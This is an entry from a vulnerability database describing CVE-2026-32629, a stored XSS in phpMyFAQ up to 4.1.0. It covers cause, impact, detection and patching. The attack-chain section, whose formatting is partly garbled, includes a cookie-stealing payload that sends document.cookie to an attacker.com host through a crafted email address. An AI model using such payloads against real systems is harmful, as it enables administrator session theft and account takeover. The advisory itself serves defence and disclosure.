
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-32629 is a stored Cross-Site Scripting (XSS) vulnerability in phpMyFAQ affecting all versions up to and including 4.1.0. An unauthenticated attacker can submit a guest FAQ entry with a crafted email address containing raw HTML/JavaScript that passes PHP's FILTER_VALIDATE_EMAIL validation due to RFC 5321 permitting special characters in quoted local parts. The malicious payload is stored in the database and later rendered unsanitized in the admin FAQ editor via Twig's |raw filter, executing in the administrator's browser. The vulnerability was published on March 31, 2026, with a patch released the same day. It carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 5.4 (Medium) (GitHub Advisory).
The root cause is a combination of improper input validation (CWE-20) and improper neutralization of input during web page generation (CWE-79). PHP's FILTER_VALIDATE_EMAIL in FaqController.php (line 99) accepts RFC 5321-compliant quoted local parts such as "<script>alert(1)</script>"@evil.com as syntactically valid, allowing HTML to pass the validation check. The email is then stored directly in the database without HTML sanitization (Faq.php retrieves $row->email raw), and the admin Twig template at faq.editor.twig:296 renders it using the |raw filter ({{ faqData['email'] | raw }}), which explicitly disables Twig's auto-escaping. Exploitation requires no authentication to submit the payload, but does require an administrator to visit the FAQ edit page (/admin/faq/edit/{id}/{lang}) to trigger execution (GitHub Advisory, phpMyFAQ Advisory).
When an administrator opens the FAQ editor to review a pending guest submission, the injected script executes in the admin's browser context, enabling session cookie theft and full admin account takeover. A successful attack allows the attacker to perform arbitrary administrative actions including creating users, modifying content, and changing system configuration. The default phpMyFAQ configuration (records.allowNewFaqsForGuests=true and records.defaultActivation=false) makes this attack chain particularly reliable, as guest submissions are enabled by default and administrators are required to visit the edit page to activate them (GitHub Advisory).
A proof-of-concept exploit with step-by-step Docker-based reproduction instructions is publicly available in the GitHub security advisory (phpMyFAQ Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.21% (42nd percentile), indicating a low but non-negligible probability of exploitation in the near term. The built-in CAPTCHA (enabled by default when the PHP gd extension is present) prevents fully automated exploitation but does not block a targeted manual attack. The CVE is not currently listed in the CISA Known Exploited Vulnerabilities catalog.
records.allowNewFaqsForGuests=true)."<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"@evil.com.FILTER_VALIDATE_EMAIL, accepts it as valid, and stores the raw HTML in the database without sanitization.records.defaultActivation=false) ensures the administrator must visit /admin/faq/edit/{id}/{lang} to review and activate the submission.|raw, causing the injected script to execute in the admin's browser context./api/faq or similar) with an email field containing HTML special characters (<, >, script); admin access logs showing /admin/faq/edit/ page visits shortly followed by anomalous admin actions.email column contains HTML tags or JavaScript code (e.g., <script>, onerror=, javascript:) rather than a standard email address format.Upgrade phpMyFAQ to version 4.1.1 or later, which was released on March 31, 2026, and addresses this vulnerability (phpMyFAQ Release). As a configuration-based workaround prior to patching, administrators can disable guest FAQ submissions by setting records.allowNewFaqsForGuests=false, which prevents unauthenticated users from submitting the malicious payload. Additionally, the fix should include removing the |raw filter from faq.editor.twig:296 to re-enable Twig's auto-escaping, and implementing server-side HTML sanitization on the email field before database storage (GitHub Advisory).
The vulnerability was discovered and reported by researcher wooseokdotkim, who noted that the proof-of-concept was developed with AI assistance during source code review (phpMyFAQ Advisory). The phpMyFAQ maintainer (thorsten) published the advisory and patch on the same day (March 31, 2026), demonstrating a rapid response. No significant broader media coverage or notable community debate has been identified beyond the GitHub advisory.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."